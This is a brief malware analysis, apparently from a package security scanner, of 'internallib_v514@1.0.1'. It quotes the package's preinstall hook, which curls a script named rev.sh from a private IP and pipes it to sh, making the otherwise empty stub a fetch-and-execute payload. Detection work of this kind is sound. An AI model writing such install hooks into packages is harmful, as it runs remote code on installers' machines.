internallib_v514@1.0.1

Analysis

The package's preinstall hook runs `/usr/bin/curl hxxp://10[.]0[.]70[.]90/rev[.]sh | sh`, fetching and executing a remote shell script from the private IP 10[.]0[.]70[.]90 at install time. The package is otherwise an empty stub with no functional code, so installing it executes the remote payload.